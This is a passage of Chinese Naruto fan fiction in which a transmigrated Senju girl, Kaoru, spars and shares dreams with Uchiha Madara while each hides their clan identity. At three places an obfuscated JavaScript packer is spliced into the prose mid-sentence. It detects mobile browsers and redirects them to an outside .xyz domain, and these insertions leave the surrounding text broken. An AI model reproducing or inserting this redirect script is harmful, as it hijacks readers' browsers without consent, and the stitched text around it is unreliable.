他们第一次交手时，瑠花可没有显露出这种力量。 山中家没有这种秘术和血继。 千手也没有这种东西。 他的推测出错了？ 一开始报上千手之名的行为还是过于莽撞，对方在听说千手的名字后还报上宇智波的名字也值得深思。 “新的血继？”会是哪一家的忍者？ 自语着分析时，他们又飞快地过了数招。 宇智波斑没有意识到，这明明只是一次性合作，根本不需要深入探究对方的身份。 忍者警惕的习惯也好，单纯的感兴趣也罢，他将多余的注意放在了瑠花身上。 瑠花眼瞳犹如进入捕猎状态的猛兽，泛着瘆人的冷光。宇智波斑也察觉到她的异常。 熏正处在一种极为专注的状态之中。 但是，即便是处在这样将近失控的状态，少女仍然听见了斑的声音。 “这可是，写轮眼的另一种妙用。”瑠花固执地反驳出声。 斑：…… 还真是嘴硬。 这么想着的斑，手上动作没有丝毫犹豫，反手抓住瑠花的手臂，另一只手握成拳狠狠往瑠花腹部的位置砸了过去。 熏在那道蓝色的“人影”下处在一种半应激的状态之中，因此，虽然一开始只是切磋，但这场切磋却逐渐变了味，本能逐渐占上风的熏并没有选择更具有技巧性的侧身借力挣脱被擒住的手，而是选择了更为蛮横的打法—— 少女空着的那只手硬生生地截住了斑的攻击，就这么握住了对方的手腕。 熏恍惚间感觉自己似乎听见了一声嘎吱声，如果她还清醒着她大概会意识到问题的严重性，但现在她满脑子都是被薛定谔的气刺激出来的杀杀杀。 宇智波斑此刻的脸色也很不好，在对方那股远超正常忍者的力气下吃瘪后，他也起了火气和好胜心。 当力量超过某个范围时，技巧也会在力量面前变得无用，瑠花此刻正处在这个阶段的边缘。 双方双手各自被对方制住，并不代表这场战斗结束，而是升级—— 他们开始互相攻击对方的下盘，手上也分毫不让，最后撕打起来，被外人看到完全无法想象这是两个忍者的体术对决。 到最后，熏凭借蛮力死死按住志叶的手，膝盖抵着他的，将他按在地上，微卷的金发背着光从她的侧脸垂落，呈现出一种冰冷的、让人联想到金属的暗金色，正如此刻熏的眼睛。 太阳热烈燃烧，不可直视，于是斑的眼前只剩下了熏的脸。 他突然想起不久前烧掉的那根金发。 不同于此刻给人诡异之感的金色，它在阳光下闪着灿烂温暖的光，然后被他红色的火焰点燃。宇智波引以为傲的眼睛让他记住了所有的细节，所以他记得那根头发变得蜷曲、焦黑，转瞬成灰的全过程。 斑下意识地握紧了手，身体上的疼痛逐渐远去，此刻他们简直像是在十指相扣。 熏原本黑色的眼睛边缘暗金色更为明显，她的瞳孔也被这股冰冷的金色浸染，竖长如兽类。 他们都因为这场打斗剧烈地喘息着，彼此间都能听见对方擂鼓般的心跳。 熏认真地注视着志叶——或者说是志叶身上那股浓郁的蓝色的“气”。 一开始生命受到威胁的感觉在目前的上风中逐渐褪去，攻守转换，猎物变成了猎人，另一种感受逐渐填满了熏的意识。 ——被当作猎物了。 瑠花的眼神正赤/裸裸地传递着这个信息，如果说之前的切磋让宇智波斑察觉到对方的异常，那么此刻之前那些不确定的模糊的猜想在少女的眼神之下，尽数被证实了。 那不是人类的眼神，甚至有些阴冷。 那是猛兽看向食物的眼神。 注意到瑠花眼神转换的瞬间，宇智波斑几乎就要打开写轮眼。 他听见自己的心跳声，扑通的一声，几乎震得他耳膜发痛。 虽然被对方当作了“食物”，但这反应当然不是惊恐。 宇智波斑很久没有被人这样居高临下地挑衅过了。 他的反应，只能是愤怒。 ——任务还有其他的解决方式，不一定留下她。 斑想。 而在这瞬间，熏垂下头，靠近了斑。 “……志叶，你看起来，”熏皱起眉，残存的理智让她紧紧咬着下唇，她想向对方示警，她还记得一开始这场比斗的开始并不是为了满足她心中某个不知名处未知的、令她本人下意识恐惧的欲望，“……很好吃。” 她死死抓住斑的手，他们靠得实在太近了，志叶身上的那股气几乎淹没了她，进食的欲望充斥着熏的思维，以至于熏在说出这些话的时候声音都在颤抖。 “离我……远一点，随便什么方法，逃。” 她说。 熏不知道事情是怎么发展到这个地步的。 她穿越至今安安稳稳度过了十六年，第一次发现自己竟然还有这种设定在身上。 她现在感觉就好像回到了小时候第一次在柱间身上看到那股“气”的时候，她毫无理智地像头野兽一样不断地战斗—— 但那时候也只是战斗。 现在熏意识到，自己还渴望着进食，而自己的食物就是每个人周身都会存在的“气”。 失去气的人是什么样的，熏很清楚。 她见过不少。 在战场上，濒死的人身上，那些“气”就会越发稀薄，直至消散无踪。 于是他们也就死了。 熏不想吃掉志叶，或者说，杀死他。 虽然一开始的相遇不太愉快，志叶总是冷冷的不爱说话，不喜欢别人站他背后还偏偏给别人这个机会、衣品完全和千手相反……但志叶也不想那对情侣就这么死掉。 熏下意识地在志叶身上寻找一种“相似性”。 她不想志叶死掉——不想志叶因她而死。 熏注意到在她说完这句话后，志叶的瞳孔的微微缩了一下。 而后，少年轻轻地扯了下嘴角，漆黑的双瞳似乎雷打不动的冷静淡然，志叶出声冷哼：“就凭你吗，熏？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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熏的母亲是个连忍者都不是的普通人，从不讲忍者相关的事；父亲似乎常年在外打工一年见不了几次，每次回家就是督促她好好锻炼，离家就给她留下一串训练计划。 熏对这个成日不着家的父亲的评价是“这是要训练我去参加奥运吗”。有时候她会疑惑他爸妈两个黑头发怎么生出个金头发的她，后来熏看见她爸的武器，以为她爸在外面给人当打手。 等到她四五岁被父亲牵着手带到族长家的房子见到了千手佛间，听见她爸和千手佛间满嘴的“忍者”，熏才意识到一件事。 她大概是穿到了二次元。 于是过往的疑惑尽数扫清，头发——二次元不讲遗传；她爸的职业——不是打手而是雇佣兵。 千手佛间见到熏后不赞同地问她爸：“你想让这个孩子当忍者？” “拜托了，佛间大人。” “查克拉提炼得如何？” “熏只是太小了。”熏的父亲说。 6. 忍族混战6 后来熏才知道，她爸让她做的那些训练，都是为了提炼出查克拉。 但她很不开窍，最后她就被父亲带到了族长面前，希望族长能帮忙。 族长把熏交给了自己的孩子，千手兄弟在族里出了名的进步神速，几个小孩围着她，叽叽喳喳的，充满了好奇。 兄弟间的大哥柱间蹲在熏边上，托着腮语气很疑惑：“一——点查克拉都感觉不到吗？” 熏摇头。 瓦间好奇地问她经过了什么训练，熏一一答了，板间在一旁说：“和我们的训练差不多呀。” 几个兄弟里的白毛一言不发地站在一边，审慎地看着她。 熏短暂地和扉间对视了一眼，又被柱间的问题拉走了注意力。 几个小孩找不出问题，有些丧气，熏安慰他们：“族里的医生也看过了，他们也不知道什么原因。” 柱间想了想，就招呼熏来和他切磋：“寻常训练用不上的话，就试试实践吧，父亲和我说过你也学过一些体术对吧？我会逐渐地用上一些查克拉，你试着感受一下不同。” 柱间说得很温和，也很耐心，不想给这个小姑娘带来压力。 他在忍者一途上天赋极佳，可能说道理比不过自己的弟弟们，但在实战上向来能拔得头筹。 或许熏和他的情况相似，柱间想。 世上是有很少见的一些人无法提炼查克拉，但忍者们都是以族群延续，虽然会有一些非忍族的人也进行查克拉修炼，但主流观念还是查克拉是血脉带来的力量，因此忍族里基本见不到无法提炼查克拉的人。 一族或许会有不做忍者的普通人，但这个人或多或少也都能提炼出查克拉。 熏作为一个千手，无法提炼查克拉，问题可不是简单的做不成忍者。 等她年龄大了，还是这样的话，或许会被驱逐出去。 无法提炼查克拉的基因混入忍族，会为族群带来灭顶之灾。 熏的父亲随时可能死在战场，母亲又缺乏自保的能力，如果她被驱逐出去，很可能活不长久。 熏纵然还不了解这个世界的残酷，但也隐约察觉到了无法提炼查克拉对她而言可能会带来极其糟糕的后果，因此点头站到了柱间的对面：“我准备好了。” 柱间在切磋上很认真，说要用查克拉就绝不留情，熏一开始还能应付，到后面就逐渐难以为继，带上查克拉的攻击又痛又狠，即便格挡也无法消去攻击带来的疼痛。 或许是这些攻击落到她身上，她的身体自发报警起来，熏第一次看见了“气”。 每个人身上的气都略有不同，却也相似，她自己身上的气带着些微的金色，而柱间身上的气却和旁人完全不同。 充溢着生机的浓郁白气汇聚成如同绘卷人物一般高大英武的男人，他站在千手族长家的长子身后，垂目看着她。 熏那一刹那呆在了原地，柱间的拳头停在她的眼前，距离近得微妙，仿佛她眨眼时眼睫就能碰到柱间。 柱间严厉地看着熏，黑色的眼瞳带着些许不赞同：“为什么突然停了下来？” 熏没有说话，她看见柱间背后那个男人朝她伸出了手，但其他人似乎什么都看不见一般。 那个白色的“人”，将手放在了熏的脑袋上。 那是一种过于奇妙的感觉，明明那只是虚影，不应该有感觉，但熏仿佛被一股暖流包裹了起来，那一瞬间她甚至失去了思考，只剩下身体上想要流泪的冲动。 她仿佛听见了一个似是年轻又似乎苍老的声音，它们相互重叠着，温柔却又带着一种难以言明的明快。 那个声音对她说：“你好像很需要这个。” 熏久久才回神，眼睫微颤，终于将视线转回到了柱间身上。 她说：“柱间，我好像看见了查克拉。” 那时候的熏将查克拉和“气”搞混了，只是她还不能很好地分辨两者的区别，柱间也对她用词中的“看见”很不解。 熏在后来看见柱间身上那个“人”时，那个“人”也再没有像第一次那样对她做什么动作，就像是一尊沉默的守护神，默默伫立在柱间身后。即便她因为在能看见“气”的状态下失去理智只会攻击，那个“人”也再没有任何行动。 熏也在那次之后仿佛开了窍，能够顺利提取查克拉了。 当天晚上，熏做了一个很奇怪的梦，她很清楚地意识到自己正身处梦中。 她梦到了族长家的院子。 白天刚见过面的柱间正和他的弟弟们坐成一圈，柱间一本正经地给弟弟们讲故事。 讲遥远的彼之国有一个爱上天女的大名，希望得到天女的垂怜。 熏站在一旁听了一会儿，轻轻开口：“这不是魔改版的竹取物语的片段吗？” 她为什么会梦到柱间给弟弟讲这个故事。 给弟弟们讲故事的千手柱间听到熏的声音，抬眼看过来，瞳孔地震。 “怎么会梦到灯叔家的熏？”柱间脸色几经变化，最后神色不定，喃喃道，“难道是因为白天我打得太狠了心里愧疚？” “总不能是一见钟情吧？！” 熏：“……” 为什么她会梦到柱间这么不着调？ 不对，梦到柱间这事就很不对劲。 她懒得追究柱间刚才讲的故事和竹取物语间的关系，因为柱间的弟弟们已经看见她招呼她过来了。 “呀，熏，你也来听大哥讲故事吗？说实话大哥的故事不知道是从哪里搜集来的，老掉牙了。” “喂，瓦间！我明明有很认真去收集这些故事！你怎么能这么说，太伤我心了！”柱间也似乎忘了刚才还在纠结“梦”到熏一事，转头拉着熏按到了弟弟板间身边坐下，眼中神采奕奕，“熏肯定也是来听我讲故事的对吧？” 熏：…… 她梦里的柱间为何如此ooc？ 熏也想知道自己的大脑能给自己编出什么魔改故事出来，于是点头。 …… 这个梦境就这么平淡地结束了，熏不得不赞同梦中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848929|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓦间对柱间故事的评语，实在老掉牙，也或许是因为熏上辈子看过太多套路的小说了，总之她不想再参加千手长子的故事会了。 第二天熏照例被提溜过去和族长家的孩子训练，因为昨晚的梦，熏看柱间总觉得有些古怪，结果对方看她的神情也古怪极了。 熏暗道不妙，到底是看过太多小说的人，当即试探道：“你昨晚……” 柱间脸色一变：“你也？！” “大哥，你们在说什么？”一旁的扉间注意到这边两人的异常，微微眯起眼问道。 柱间连忙摇头，眼神惊恐：“没有！什么都没有！” 入梦一事有一就有二，扉间到底不是傻子，次数多了，直接逼问大哥究竟瞒了他什么，柱间和熏也因为入梦之事过于苦恼，就偷偷把这事说了，还叮嘱扉间别说出去。 扉间听了之后若有所思，没说话。 柱间眼巴巴盯着扉间，熏也因为这些天和族长家的兄弟相处熟了，直接问道：“扉间你说句话啊！” 扉间回神，看向熏：“我记得你母亲是族外嫁来的，可能是阿姨家以前有过相关的血继，一些返祖现象会让后代已经失传的血继突然觉醒，不用太担心。” “这样吗？”熏想想自己的母亲，将信将疑。 如果妈妈家以前是忍者，那她没法提取查克拉的体质是基因突变吗？ “而且，你的能力如果能进一步开发，会有很大的用处，交流情报很方便，如果能够控制入梦对象，刺探情报也不在话下。”扉间说得头头是道，听得他身边的几个兄弟和熏一脸呆滞，“对了，你能控制入梦对象吗？为什么只入了大哥的梦。” 熏：…… “我也想知道。”这人就只想了怎么拿这个能力对付敌人吗！ 她下意识地隐瞒了“气”的事，直觉告诉她把这件事说出去可能并不是一件好事。 但联想到第一天发生的事，熏觉得入梦一事可能和柱间身上独特的气有些关系。 之后扉间问过她几次入梦能力的开发进程，熏倒是能控制是否入梦了，但也不能控制入梦对象，久而久之扉间也放弃了他的情报收集大计。 倒是熏第一次控制着不进入柱间的梦的第二天，柱间久违地神清气爽起来。 “真好啊，熏，我终于可以随心所欲做梦了！每天晚上睡觉前我都害怕自己梦到不该梦的东西，那种一点隐私都没有的感觉太可怕了！”柱间眼泪汪汪地诉苦道。 熏：“……给你造成心理阴影了真是对不起啊。” 谁第一次和她在梦里见面的时候还以为他是对她一见钟情来着？ 柱间：“没关系的！以后你要是要在梦里联系我，记得提前和我说一声！” “……大哥会梦到什么不敢被人看见的东西啊？”一边的板间天真发问，被瓦间捂住了嘴。 “板间，你还小。”瓦间好言相劝。 扉间：…… 熏：…… 柱间会梦到被扉间教训这事能说吗？ 7. 忍族混战7 虽然这么多年来熏只能入柱间的梦，但过去对入梦技能的掌控，让熏在自己身处梦境时，能够很快意识到这一点。 因此当她从记忆中脱离出来后，她就意识到自己正身处梦中。 她记得自己之前正在和志叶切磋，然后看到了“气”—— 她失控还昏迷了？ 熏这么想着，观察着梦境中的环境，发现自己梦到了很熟悉的地方。 是族地附近的南贺川，太阳灿烂夺目，河水泛着粼粼波光，林间响着枯燥的蝉鸣。 夏季的南贺川。 她怎么梦到这里了？难道是因为这个任务太长想家了？ 熏眨了下眼，注意到不远处有个看起来很眼熟的人影蹲在地上干什么，便抬脚顺着河流走过去，而后在认出对方后定在原地，瞳孔地震。 她为什么会梦到志叶出现在南贺川？！ 因为白天太生气了？还是因为—— 不对，这似曾相识的情况。 熏猛然想起当年柱间以为他梦到她后的自语。 ——总不能是一见钟情吧？！ 熏大惊失色：总不能是我喜欢上志叶了吧！ “冷静，冷静。”在熏这么安慰自己的时候，前方的人似乎也察觉到了她的存在。 少年一边站起身回头一边开口，手上抛着块石子，语气带着股平日里相处时没有的不耐烦和随意：“你怎么来了——” 志叶的话卡在半途，盯着熏不再说话。 熏有点尴尬，她还没做好准备面对自己梦到的志叶。 她想不通自己为什么会梦到对方。 因为经历过于相似，她不禁怀疑起自己是不是入了别人——志叶的梦。 毕竟当初她入柱间的梦时，也没有理由梦到柱间。 一切都太过相似了。 但她也不可能直接问志叶，这是不是他的梦。 所以熏准备试探对方。 “好巧啊，志叶，你怎么在这？”熏轻轻咳了一声，走到少年边上，不太自在地看向河水，又注意到志叶正在打量她，问道，“你怎么一直看我，我脸上有什么东西吗？” 少年没有立刻回答问题，他轻笑了一下，收回目光：“等个朋友，大概。” 熏再度震撼。 这大概率是她的梦，她梦到志叶在这里等个朋友，难道是她—— 她也这样问出来了：“难道……” “不是你，熏。”志叶打断道。 “……哦。”熏瞬间冷静下来，而后再度意识到一个问题。 志叶不知道她的真名，梦中的志叶叫的是她真名，那么这肯定是她自己的梦！ 所以，她梦到志叶在她家附近的河边上等个朋友，这个朋友还不是她——虽然她应该算不上对方的朋友。 好吧，去掉应该，肯定算不上才对。 不过她的脑子到底给她编了个什么梦啊！ 熏太好奇了，这又是自己的梦，所以她转头看向少年，直接问了出来：“有点难以想象你朋友会是什么样的人。” 少年再度轻笑了一声，他将手里的石子往河面掷出，语气复杂：“想知道？” “告诉我吧告诉我吧，我实在很好奇。”好奇我的脑子编了个什么故事出来。 扁而圆的石子划破半空，在河面轻弹了几下，落入河中。志叶从河边走开，倚在一棵树前，淡淡地看着熏。 “你应该认识我朋友，他是宇智波斑。”志叶说。 熏：“……” 关于宇智波斑的话题还有完没完了！怎么梦里还逃不过报假名的后果。 自己的脑子坏掉了怎么办？又不能挖掉换个新的。 她沉默了一下，问志叶：“你觉得我会信吗？” “好吧，你想知道的话，”少年扭过头，看着南贺川，似乎是妥协了，又开口，“其实不是朋友，那家伙……差劲透了，比试会趁机偷跑、随时随地都能消沉起来、让他不要站在我背后还会故意试探我……也就只有实力能看。性格也很烦人，总是说些傻话，天真到了极点——这一点你也和他差不多。” 熏：…… 似乎被骂了，但这是自己的梦，所以熏都没留意这事。她睁大了眼睛，看向垂着眼，连嘴角都下撇着的少年，再度震撼。 ——所以，她的大脑，给看起来生人勿近、说话很爱戳人心口的志叶编了个傲娇人设？！ 这反差太大，她得缓缓。 她的脑子到底为什么会编出这种剧情？！ 熏神色复杂，好半天才开口：“但你刚才说你在等他。” “……没有，你听错了。” 熏忍了忍，还是没忍住吐槽：“什么啊，原来你是傲娇啊。现在傲娇已经退环境不受欢迎了你不知道吗？” “？”少年转头看向熏，重复着这个陌生的词汇，“傲娇？” 熏意识到志叶听不懂这话，于是给在梦里也不ooc的少年解释：“就是那种，明明很喜欢，但不愿意直说，反而说些不好听的话的人。这种人设已经不受欢迎了，现在这个时代，不把自己的真实想法直说出来的话对方是感受不到的。你刚才说你朋友不是你朋友，实际上还是把对方当朋友的吧？” 少年神情冷了下来：“就算以前是，但现在早就不是了。” 熏知道和傲娇争这种话题没用，只是问：“也就是说，除掉你们不再是朋友这点，你刚才的话确实是出于‘傲娇’的人设说的没错吧？” 少年感到匪夷所思，像看外星人一样看熏：“……你都在关注什么啊！” 熏也不管对方说什么，继续说自己的推论：“也就是说，你刚才说我性格讨厌，其实并不是这样觉得，我甚至可以理解为你把我当作朋友了，没错吧？” 宇智波斑久违地感觉自己额头突突跳，他快被气笑了。 他想知道熏来他的梦里到底要打探什么，甚至拿了当初的事来试探熏，谁知道对方的关注点竟然在这种地方。 “收回前言，你简直比那家伙更烦人——” 熏无比流畅地接过他的话：“我就当你在夸我好了，按照傲娇的话反着理解——” “不许反着理解！” 熏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848930|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“哇，你反应太过了吧。” 宇智波斑冷笑一声：“就当我反应太过，你想让我承认你这个外族人是我的……” “朋友。”说到这里宇智波斑不禁顿了一下，这才将那个词说出来。 “为了什么？”他问，“你该知道忍者不该和这个词扯上关系吧？” 熏愣住了。 她轻轻眨了下眼睛，看着志叶。 “这是我的梦，我在自己梦里让你当我朋友不行吗？我自己的梦我都不能做主了吗？还有，在我们族里，我朋友可多了，根本不缺朋友！”熏心绪有点混乱，或许是烦躁。 是啊，她这么执着让志叶承认她是他朋友干什么，这还只是个梦！ 她脑子是真的坏掉了！难道真跟柱间那时候的反应一样，喜欢？ 绝对不可能啊！ “算了，你继续等你那个朋友吧！”熏不想再待下去了，转身就走，心里乱糟糟的。 “等一下！”宇智波斑注意到刚才熏话里的“自己的梦”，神色微变，刚想拦住对方，就看见熏的身影直接变淡消失无踪了。 熏猛地睁开眼睛。 梦里发生的事无比清晰地残留在记忆当中，以至于她没有在醒来的第一时间观察周围环境。 她坐起身，手撑在被褥上，缓了好半天才注意到自己正待在暂时落脚的房间里，被褥边上留了一瓶药膏，看来她真的在切磋比试的时候失控了。 这次的情况似乎比以往严重得多，她缺失的记忆也太多了。 而且—— 熏看着床边的药，又想起梦中的志叶最后的问题，心中的古怪感挥之不去。 她拿过药闻了闻。最常见的外伤药，不过她用不上。 熏的体质要比普通的千手族人好些，伤势恢复得很快，不过不能和柱间比就是了。 比试的时候她大概受伤了？ 总之她现在身上一点伤都看不见了。 熏拿着淡青色瓷瓶装着的药膏，发了会儿呆，窗外透进来的光线浅淡极了，天色还早。 熏越想越觉得梦里的发生的事太过不正常，哪怕知道那本来就是自己的梦，也不禁怀疑起自己是入了志叶的梦。 但这样就说不过去对方叫自己熏和他梦到南贺川了。 总不能他也常驻在南贺川附近吧？ 那一片河域，就住这千手和宇智波两族，如果志叶常驻在那里，岂不就是—— 不不不！绝对不可能！ 熏一个激灵，被自己的猜想吓到了。 扉间说过，宇智波的人偏激狡诈，如果是宇智波，怎么可能好心放过那对小情侣，肯定早早完成任务交差去了，还在这里和她虚耗时光？ 而且她还冒用了宇智波的名字，要是志叶真是对宇智波名誉重视大过天的那类人，怎么可能忍着不和她动手。 听说宇智波向来遮得严严实实，穿得比他们千手还多，志叶那家伙之前的衣服漏风得让人觉得不感冒不科学。 而且志叶其实情绪稳定得可以，她之前的话那么得罪他他都没说什么，他怎么可能是宇智波！ 8. 忍族混战8 尽管找了各种理由说服自己志叶不可能是宇智波，但熏也想起另一个细节。 冒用了柱间名字的志叶，在取假名时，对自称宇智波的她取了身为宇智波少主“斑”的假名。 一开始熏没把这个细节当回事，但如果志叶真的是宇智波，那么他的行为…… 熏有些不寒而栗，纵使再不愿意相信志叶是个宇智波，也必须先确认志叶的身份对自己没有危害。 她深吸了一口气出门。 志叶就住在她隔壁，她站在志叶房门前踌躇半晌，抬起手想要敲门，却又放下。 昨天她在志叶面前昏迷，志叶却没有对她这么个身份不明的忍者下手。现在她转头就跑来试探志叶身份，熏的道德感正在和理智打架。 正犹豫着，院外传来了志叶的声音。 “瑠花？” 熏立刻转身，微微松口气的同时又有些疑惑。她心虚地把手背在身后，看着从外面回来的志叶，有些意外：“志叶，你才回来吗？” 昨晚志叶不在？ 斑闻言轻轻扬起眉梢。 他注意到熏的神态，而后当什么都没发现到一般，仿佛不太在意地“嗯”了声，而后问起熏的情况：“你现在好点了吗？” 熏因为志叶的询问愣了一下，明明志叶还在关心她的身体，她却还在怀疑他是宇智波。 熏的道德感狠狠锤了下她的良心。 她不由垂眸避开少年的眼睛：“嗯，醒来后好多了，我昨天……” 熏想起自己恐怕还欠对方一个关于她体质问题的解释，当即有些词穷。 “你昨天突然昏过去，我就先送你回了房间。城主府那边没什么异常。”志叶又说，没有追问熏的体质问题。 “……你昨晚一直在监视城主府，没有休息？”熏突然不知道该说些什么。 斑看着微垂着头的金发少女，在对方看不见的角度勾了勾嘴角，猜到对方想要确认什么，却没有直接打消熏的疑虑：“中途有些累，小睡了会儿，怎么了吗？” 熏下意识回神，防御性地抬头看过去，回道：“没什么！” 而这时志叶又已经是一开始的表情了。少年有些冷淡的面容上是毫不在意，又因为熏的心理作用，对方眼底的卧蚕都让熏觉得受了熬夜的影响有些发青。 而后她意识到自己的反应有些过度，连忙解释：“就是让你一个人守夜，有些过意不去——我昨天还拖着你打架。” “这没什么，”志叶说着往前走了几步，说出了宛如逐客令的话，语气带着些微妙，“不过我是回来休息的。” “啊，抱歉，那接下来就交给我好了，你好好休息。” 熏有些尴尬，连忙让开门前的位置，侧过身等志叶开门进屋。 却又在志叶即将进屋时冷不丁地开口：“泉奈。” 听见弟弟的名字，宇智波斑骤然停下脚步。 电光火石之间，他意识到熏的目的，肌肉紧紧绷起，手搭上刀柄，回头看向院中。四溢的杀气刺得熏不禁退后一步，她的手指下意识扯住了藏在腰间的钢丝线和与之相连的暗器。 斑缓缓扫视了一圈只有熏一人的院落，最后才看向少女，神情不悦。 “泉奈？”他问。 熏迎着他的目光，在志叶没有进一步动作后微顿，而后露出一个安抚般的笑容，仿佛刚才什么都没发生。 好像她没有突然叫出一个不在此地之人的名字，对方也没有因为她的行为警戒起来。 熏说：“之前不是说我一直想改个名字，不叫泉奈吗？ “瑠花的名字我最近似乎用得习惯了，你觉得这个名字怎么样？” “宇智波瑠花？”斑声音轻缓，却能让人看出他此刻心情并不好。 他不是不理解对方的想法。 外族忍者，给予半分信任已经是极限。 他也不认为熏真的会相信他是“千手柱间”。 宇智波是忍界大族，泉奈这些年在战场上展露头角，名气也越发大。他们兄弟二人又是族长之子，知道他和泉奈的名字是很容易的事。 一个外族忍者和一个宇智波，突然听见泉奈的名字，反应自然不同。 她是在确认他是否是宇智波。 那么，他哪里露出了破绽？……昨晚那个梦？ 熏在报出假名的时候说出了宇智波。可能与他自己说出千手时的打算那样，熏的家族很有可能与宇智波有冲突。 但在听见千手后还报出宇智波的名字，熏是千手的可能性就极低了，寻常千手不可能会如此低估千手与宇智波的仇恨，甚至于熏的家族和宇智波之间也很可能只止步于小的利益冲突。 因此他一开始会因为熏的发色猜测她出自山中一族。 那么熏为什么要确认他的身份？ 这个想法在斑的脑中存在不足一秒，就被心中莫名的怒气压下——熏用弟弟的名字试探他，而他竟然真的做出了“正常”的反应。 正常的反应，但绝不符合他宇智波斑性情的反应。 斑突然意识到，在遇到熏之后，他似乎做了不少忍者不应该做的事。 从一开始没有信任也没有必要的合作，再到后来胡闹般编写的密文、那根烧掉的头发，甚至是刚才违背自己性情做出的反应—— 梦中的熏说过的话又突然在此时闯入斑的大脑，那话原就使斑恼怒，此时更如火上浇油。 于是斑接下来的话语刻薄而挑剔：“你在向一个千手寻求改名的意见？你真的还是个忍者吗？而且，你改名和我有什么关系？” 熏也想起志叶此时的人设是个千手忍者，被对方说得哑口无言。 但是她明知道千手只是志叶的假身份，就这么认下他口中的“忍者失格”也太憋屈了。 再加上刚才志叶的反应让熏放下了一半的心，对方听见宇智波泉奈的名字只有防备，可以排除对方是宇智波的大半嫌疑，至于剩下的……昨晚那个梦究竟是志叶的还是她的，她可以挑一个志叶睡着的时机试试自己究竟能不能进入 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但昨天的切磋已经证明，熏能通过接触他的方式从而使他丧失力气乃至查克拉。 目前能掌握的信息也只有她无法很好地控制自己的能力，以及…… 斑想起昨天少女忍着冲动让他离开的情形。 ——这家伙在忍者里可以说得上是个天真的烂好人。 但无论如何，他们两人如今的距离，太近了。 不仅突破了两个陌生忍者该保持的距离，还突破了哪怕是关系普通的同族人之间应保持的距离。 更何况那家伙的能力本来就是要靠近后才能发动。 熏这家伙惯会得寸进尺，没有一点应该保持安全距离的意识，就像是之前那次，他不提醒，简直就要把脑袋凑到他肩膀上了。 但斑不可能在这种情形下后退。 于是他只是垂下眸子盯着对方，语气淡淡的：“是吗？你要杀我？那就试试好了，让我看看写轮眼的能力。” 似乎是嫌这话不够刺激她，也说不出是想控制住对方还是有自信在对方发动能力前用写轮眼反制住对方，他还抬起手按住了熏的肩，嘴角微讽般地翘起：“对了，你用写轮眼的时候，故意离敌人这么近吗？这似乎不是你们宇智波的作战风格吧？” 熏：…… 是啊，这是千手的作战风格呢，根据族里前辈们的经验，对付宇智波最好在他们用出写轮眼前接近他们一击制胜。 大意了，忘记那群宇智波大概率是远程了。 但是志叶这表现……一直在蛐蛐写轮眼和身为“宇智波”的她，他是和宇智波有仇吗？ 她瞪大眼睛，企图从志叶的表情上看出哪怕一丝一毫的警惕畏惧，但对方也就只有一开始她提起宇智波泉奈的时候表现得极为生气，现在已经再度平静下来了。 ——该不会，志叶和宇智波泉奈有仇？ 那她和志叶背后的家族说不定还可能是盟友？ 9. 忍族混战9 “没见过你这种对着写轮眼眼睛都不挪一下的千手，”熏心中的古怪感更甚，她率先挪开目光，抬手拍掉肩上的手——竟然也真的拍开了，“我不和你吵了，你昨天够辛苦的，快去休息吧，我也赶紧去城主府守着，不耽误时间了。” 熏退后一步表明自己的态度，侧首盯着地上的影子，先行退让。 走出院子的时候，她的脚步都轻快了不少，不再沉重。 志叶老老实实守了一晚上终究赶不上巧合。熏在潜入城主府邸的时候恰巧遇见了雇主家来的信使。 她直接将其打晕拆开信看了，很遗憾，雇主心意如铁，坚持要棒打鸳鸯杀忍者。 熏轻轻叹气，表情却也冷了下来。 她收好信件，把信使挪到安全的地方，想着志叶休息去了不好打扰，就先去找了身为她任务目标的那位忍者。 这位忍者名叫芽衣。 熏一边把目前的状况说给她听，一边又在思考着怎么将这次任务利益最大化。 要保下两个人，雇主那里的任务肯定会失败。 志叶打算让这两人假死，他那边的任务倒是很好完成，但也有隐患。 他当时说得轻松，如果雇主反悔，再让两人出来就是——虽说出尔反尔的是雇主，但也暴露了志叶伪造任务完成的事，这事性质比她任务直接失败更为严重。 芽衣看着熏，试探地问道：“那瑠花小姐，你想怎么做？” 熏想把水搅混，让林下城城主不得不出手护住他们。 雇主家和联姻方是代代姻亲的利益共同体，芽衣对象的母族和雇主家也是休戚与共的关系，要是林下城城主知道联姻方中按不住性子的人私下发布了针对芽衣二人的悬赏，会怎么办？ 丑事已经发生了，联姻之事肯定会重新议定人选，但亲孙子的命还是要保的。 那么，林下城城主的选择就很有限了。 “我会去见城主，表明我的身份，”熏说，“还会告诉他我在追杀你们的途中受到了阻拦，有人要杀你们，为了保护秀——” 熏记不住芽衣对象包含官职前缀后缀一大串的名字，芽衣适时接话：“叫他秀哉就好。” “——为了保护秀哉，我在路上耽误了不少时间，也没有来得及暗杀你，”熏接着说道，“我会向城主寻求进一步的方案，引导他留下你的命。” 